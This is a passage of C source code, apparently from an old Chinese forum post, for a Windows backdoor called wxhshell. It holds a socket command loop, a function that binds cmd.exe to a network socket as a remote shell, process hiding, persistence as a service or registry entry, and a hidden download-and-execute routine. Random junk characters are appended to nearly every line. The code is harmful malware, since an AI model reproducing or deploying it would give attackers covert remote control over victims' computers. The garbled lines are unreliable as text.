  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z8_m<uewz  
  } j5,1`7\7B  
  else { Umjt~K^Z  
0vuL(W8)  
    switch(cmd[0]) { RbzSQr>a\  
  /:3:Ky3  
  // 帮助 0?KXQD  
  case '?': { /x,gdZPX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e:fp8 k<  
    break; 91qk0z`N  
  } Ef{rY|E  
  // 安装 @wy|l)%  
  case 'i': { P?p>'avP  
    if(Install()) 'bJ!~ML&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ts=DxCC;  
    else 11[[Hk X@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); reR><p  
    break; I_6NY,dF  
    } ) DXN|<A  
  // 卸载 3I&=1o  
  case 'r': { ?%% 'GX  
    if(Uninstall()) njeRzX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )b`Xc+{>  
    else +PgUbr[p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5LdVcXf  
    break; :,g nOfV=  
    } m^0r9y,  
  // 显示 wxhshell 所在路径 w`=_|4wFw  
  case 'p': { rt%?K.S/  
    char svExeFile[MAX_PATH]; M #'br<]  
    strcpy(svExeFile,"\n\r"); x;)bp7  
      strcat(svExeFile,ExeFile); KY34Sc  
        send(wsh,svExeFile,strlen(svExeFile),0); ]E'BFon  
    break; XI:8_F;Q  
    } pd{W(M78g  
  // 重启 K]ob>wPf  
  case 'b': { nw swy]e8/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +^ a9i5  
    if(Boot(REBOOT)) bP\0S@1YL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A'r 3%mC  
    else { E9z^#@s  
    closesocket(wsh); =y -L'z&r  
    ExitThread(0); M4 SJnE  
    } (;v)0&h  
    break; oJa6)+b(3  
    } YL-/z4g  
  // 关机 Z?X0:WK  
  case 'd': { Mx{VN P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o|Cq#JFG  
    if(Boot(SHUTDOWN)) OzY55  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FdEzt  
    else { Atsi}zTR\  
    closesocket(wsh); jXA!9_L7  
    ExitThread(0); W9n0Jv  
    } gw~ %jD-2  
    break; bHVAa#  
    } (uW/t1  
  // 获取shell qcMVY\gi  
  case 's': { i;Cs,Esnf  
    CmdShell(wsh); pm$2*!1F(  
    closesocket(wsh); K*iy^}  
    ExitThread(0); ,<?iL~> %  
    break; d\aKGq;8C  
  } u>c\J|K_V  
  // 退出 9rXbv4{  
  case 'x': { w}+#w8hu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x{4Rm,Dxn  
    CloseIt(wsh); GslUN% UJr  
    break;  o&uO]  
    } I@Zd<Rn  
  // 离开 <X[TjP  
  case 'q': { h/~:}Bof  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r>73IpJI  
    closesocket(wsh); #p& &w1  
    WSACleanup(); !Ic;;<  
    exit(1); 2WQKj9iyN  
    break; ].F7. zi  
        } @_"B0$,-i  
  } 1=BDqSZ@9  
  } Td#D\d\R  
V.zKjoky@  
  // 提示信息 @sQ^6FK0G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +Qy*s1fit  
} ~3byAL  
  } <@i.~EL  
v{{Cj83S+  
  return; L%](C  
} kwxb~~S}h(  
dxqVZksg(9  
// shell模块句柄 @X`~r8&  
int CmdShell(SOCKET sock) b3(pRg[Fp  
{ d"3S[_U  
STARTUPINFO si; tHNvb\MR$  
ZeroMemory(&si,sizeof(si)); jVP70c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *hVbjI$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GC?X>AC:  
PROCESS_INFORMATION ProcessInfo; I9O9V[  
char cmdline[]="cmd"; V3;4,^=6Dd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s( @w1tS.  
  return 0; &8'.Gw m}  
} F) w.q  
<p@c %e,_  
// 自身启动模式 yXU-@~  
int StartFromService(void) y,qP$ 5xiq  
{ fR_ jYP 1  
typedef struct GwiG..Y]&  
{ HI/]s^aL  
  DWORD ExitStatus; R=M"g|U6  
  DWORD PebBaseAddress; 0kN;SSX!  
  DWORD AffinityMask; JA W}]:jC  
  DWORD BasePriority; tX;00g;U.  
  ULONG UniqueProcessId; 4d&#NP  
  ULONG InheritedFromUniqueProcessId; {FzL@!||  
}   PROCESS_BASIC_INFORMATION; Ol,;BZHc\  
36>pa  
PROCNTQSIP NtQueryInformationProcess; z0J$9hEg89  
^NJ]~h{n$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Zgp]s+%E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [6x-c;H_4  
0_yE74i  
  HANDLE             hProcess; F#=XJYG1  
  PROCESS_BASIC_INFORMATION pbi; t~pA2?9@  
{MmHR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \)'nxFKqV  
  if(NULL == hInst ) return 0; `|K,E  
b?Wg|D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3L/qU^`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =a rk?<E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %M8Egr2|0  
a%*l]S0z"  
  if (!NtQueryInformationProcess) return 0; [c4.E"  
:V2"<]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `-zdjc d  
  if(!hProcess) return 0; *]2LN$  
$>E\3npV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "bZV<;y6  
\8\)5#?  
  CloseHandle(hProcess); f.V;Hl,  
qh Ezv~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A^7!:^%K  
if(hProcess==NULL) return 0; ~82[pY  
o?\)!_Z|  
HMODULE hMod; Ore$yI}!m  
char procName[255]; UnNvlkjq9  
unsigned long cbNeeded; )#-27Y  
4GJ1P2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'B}pIx6k~  
tf64<j6  
  CloseHandle(hProcess); D|I(2%aC  
kTQ:k }%B  
if(strstr(procName,"services")) return 1; // 以服务启动 A7U'>r_.  
CG'NC\x5  
  return 0; // 注册表启动 R`=3lY;  
} 3nuf3)  
5zJkPki  
// 主模块 VlW#_.  
int StartWxhshell(LPSTR lpCmdLine) Hv%(9)-8  
{ `NA[zH,w3  
  SOCKET wsl; Cpaeo0Oq  
BOOL val=TRUE; Vzy]N6QT{  
  int port=0; ?7-#iC`  
  struct sockaddr_in door; pM~Xh ]/  
A2'   
  if(wscfg.ws_autoins) Install();  t K;E&:  
Q0~5h?V'  
port=atoi(lpCmdLine); q0WW^jwQ  
)gdv!  
if(port<=0) port=wscfg.ws_port; || ?B1  
Ab7hW(/  
  WSADATA data; / uI/8>p(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oR}ir  
ulFU(%&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o;Ijv\Em  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4W8rb'B!Ay  
  door.sin_family = AF_INET; |Hn[XRsf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q! W ~>c!  
  door.sin_port = htons(port); 1!8*mk_R{  
q3Umqvl)oe  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G],+?E_,  
closesocket(wsl); O<4i)Lx2  
return 1; 2>Kq)Ii  
} 1_:1cF{w  
"_+X#P x  
  if(listen(wsl,2) == INVALID_SOCKET) { Ku LZg  
closesocket(wsl); wo2^,Y2z+  
return 1; g$VcT\X  
} cJA0$)JP&  
  Wxhshell(wsl); x( w <U1  
  WSACleanup(); O%9Cq}*  
'R*gSqx~  
return 0; /Nq!^=  
T(+F6d=1  
} V5rnI\:7  
^7q=E@[e  
// 以NT服务方式启动 $gDp-7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n ! qm  
{ $N;!. 5lX3  
DWORD   status = 0; Lhl) pP17  
  DWORD   specificError = 0xfffffff; |Ix6D  
x$CpUy{6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oT 8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Td[w<m+p<P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ga f/0/|  
  serviceStatus.dwWin32ExitCode     = 0; 0w\X  
  serviceStatus.dwServiceSpecificExitCode = 0; DjOFfD\MF  
  serviceStatus.dwCheckPoint       = 0; B0=:A  
  serviceStatus.dwWaitHint       = 0; 2a.NWJS  
pALB[;9g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )xQxc.  
  if (hServiceStatusHandle==0) return; 0vG}c5;F  
{+c/$4 <  
status = GetLastError(); )$q<"t\#P#  
  if (status!=NO_ERROR) 1E$Z]5C9  
{ ==x3|^0y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q^sMJ  
    serviceStatus.dwCheckPoint       = 0; `Q26Dk  
    serviceStatus.dwWaitHint       = 0; N(Y9FD;H  
    serviceStatus.dwWin32ExitCode     = status; {%D "0*^  
    serviceStatus.dwServiceSpecificExitCode = specificError; {EJVZG:&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *B}vYX  
    return; :'y  
  } |U nTd$m  
N)Qj^bD!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,b>cy&ut  
  serviceStatus.dwCheckPoint       = 0; e"r'z n  
  serviceStatus.dwWaitHint       = 0; UQ|0Aqwq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PL~k `L  
} >&^w\"'  
QZ{&7mc>  
// 处理NT服务事件,比如:启动、停止 NJqALm!(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (m;P,*  
{ !qrF=a  
switch(fdwControl) d\;M F  
{ dMGu9k~u  
case SERVICE_CONTROL_STOP: 3\=8tg p  
  serviceStatus.dwWin32ExitCode = 0; HKOJkbVZ2^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -Qnnzp$]  
  serviceStatus.dwCheckPoint   = 0; nWFp$tJ/R  
  serviceStatus.dwWaitHint     = 0; mMN oR]  
  { lNsPwyCoj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I-/PzL<W P  
  } y=h2_jt  
  return; vCH>Fj"7  
case SERVICE_CONTROL_PAUSE: ^e@c Ozt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6}iIK,Om  
  break; }/c.>U  
case SERVICE_CONTROL_CONTINUE: ?Tuh22J{Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bDUGzezP<  
  break; s+zb[3}  
case SERVICE_CONTROL_INTERROGATE: 7]e]Y>wZap  
  break; 3kR- WgVF,  
}; !c6 lP'U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Va=0R   
} eg(xN/D  
{h9#JMIA  
// 标准应用程序主函数 );))kYr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [&NF0c[i  
{ R$6Y\ *L[  
}QJE9;<e  
// 获取操作系统版本 =m}{g/Bk  
OsIsNt=GetOsVer(); AL|fL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Fg#*rzA  
0RoI`>j'  
  // 从命令行安装 8w2+t>?  
  if(strpbrk(lpCmdLine,"iI")) Install(); SF_kap%JM  
; UrwK  
  // 下载执行文件 D VSYH{U4  
if(wscfg.ws_downexe) { S NK+U"Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AZl=w`;/O%  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q|5wz]!5Y(  
} R63"j\0  
Y}1|/6eJ  
if(!OsIsNt) { &OI=r vDmo  
// 如果时win9x,隐藏进程并且设置为注册表启动 .\U+`>4av  
HideProc(); _"WQi}Mm  
StartWxhshell(lpCmdLine); `n^jU92  
} qk_ s"}sS  
else bO2$0!=I  
  if(StartFromService()) k9^P#l@p  
  // 以服务方式启动 [j93Mp  
  StartServiceCtrlDispatcher(DispatchTable); Q8:u1$}  
else U +mx@C_  
  // 普通方式启动 ' J-(v  
  StartWxhshell(lpCmdLine); _|A)ueY  
$~D`-+J  
return 0; Nm,v E7M  
}
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只看该作者 1 发表于: 2006-10-10
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